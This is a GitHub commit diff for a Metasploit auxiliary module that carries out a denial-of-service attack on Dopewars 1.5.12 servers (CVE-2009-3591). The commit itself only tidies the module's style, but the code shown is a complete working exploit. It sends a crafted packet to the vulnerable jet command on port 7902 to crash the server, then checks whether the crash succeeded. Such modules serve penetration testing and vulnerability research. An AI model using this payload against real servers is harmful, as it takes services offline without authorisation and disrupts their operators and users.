Skip to content

Commit 70da739

Browse files
committed
fixed errors in dopewars.rb shown by msftidy
1 parent b5c3161 commit 70da739

File tree

1 file changed

+38
-37
lines changed

1 file changed

+38
-37
lines changed
Lines changed: 38 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -1,60 +1,61 @@
1-
# Dopewars DOS attack
2-
#
3-
# The jet command in Dopewars <= 1.5.12 is vulnerable to a segmentaion
4-
# fault due to a lack of input validation.
5-
#
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
67

78
require 'msf/core'
89

910
class Metasploit4 < Msf::Auxiliary
1011

1112
include Msf::Exploit::Remote::Tcp
1213
include Msf::Auxiliary::Dos
13-
14+
1415
def initialize(info = {})
15-
super(update_info(info,
16-
'Name' => 'Dopewars Denial of Service',
17-
'Description' => %q{
18-
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
16+
super(update_info(info,
17+
'Name' => 'Dopewars Denial of Service',
18+
'Description' => %q{
19+
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
1920
},
20-
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
21-
'License' => MSF_LICENSE,
22-
'Version' => '0.0.2',
23-
'References' =>
21+
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
22+
'License' => MSF_LICENSE,
23+
'Version' => '0.0.2',
24+
'References' =>
2425
[
2526
[ 'BID', '36606' ],
26-
[ 'CVE', 'CVE-2009-3591' ],
27+
[ 'CVE', '2009-3591' ],
2728
]))
28-
29+
2930
register_options([Opt::RPORT(7902),], self.class)
3031
end
3132

3233
def run
33-
# The jet command is vulnerable.
34-
# Program received signal SIGSEGV, Segmentation fault.
35-
# [Switching to Thread 0xb74916c0 (LWP 30638)]
36-
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
37-
# serverside.c:525
38-
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
39-
#
40-
connect
34+
# The jet command is vulnerable.
35+
# Program received signal SIGSEGV, Segmentation fault.
36+
# [Switching to Thread 0xb74916c0 (LWP 30638)]
37+
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
38+
# serverside.c:525
39+
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
40+
#
41+
connect
4142
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
4243
print_status("Sending dos packet...")
4344
sock.put(pkt)
4445
disconnect
4546

46-
print_status("Checking for success...")
47-
sleep 2
48-
begin
49-
connect
50-
rescue ::Interrupt
51-
raise $!
52-
rescue ::Rex::ConnectionRefused
53-
print_good("Dopewars server succesfully shut down!")
54-
else
55-
print_error("DOS attack unsuccessful")
56-
ensure
57-
disconnect
58-
end
47+
print_status("Checking for success...")
48+
sleep 2
49+
begin
50+
connect
51+
rescue ::Interrupt
52+
raise $!
53+
rescue ::Rex::ConnectionRefused
54+
print_good("Dopewars server succesfully shut down!")
55+
else
56+
print_error("DOS attack unsuccessful")
57+
ensure
58+
disconnect
59+
end
5960
end
6061
end

0 commit comments

Comments
 (0)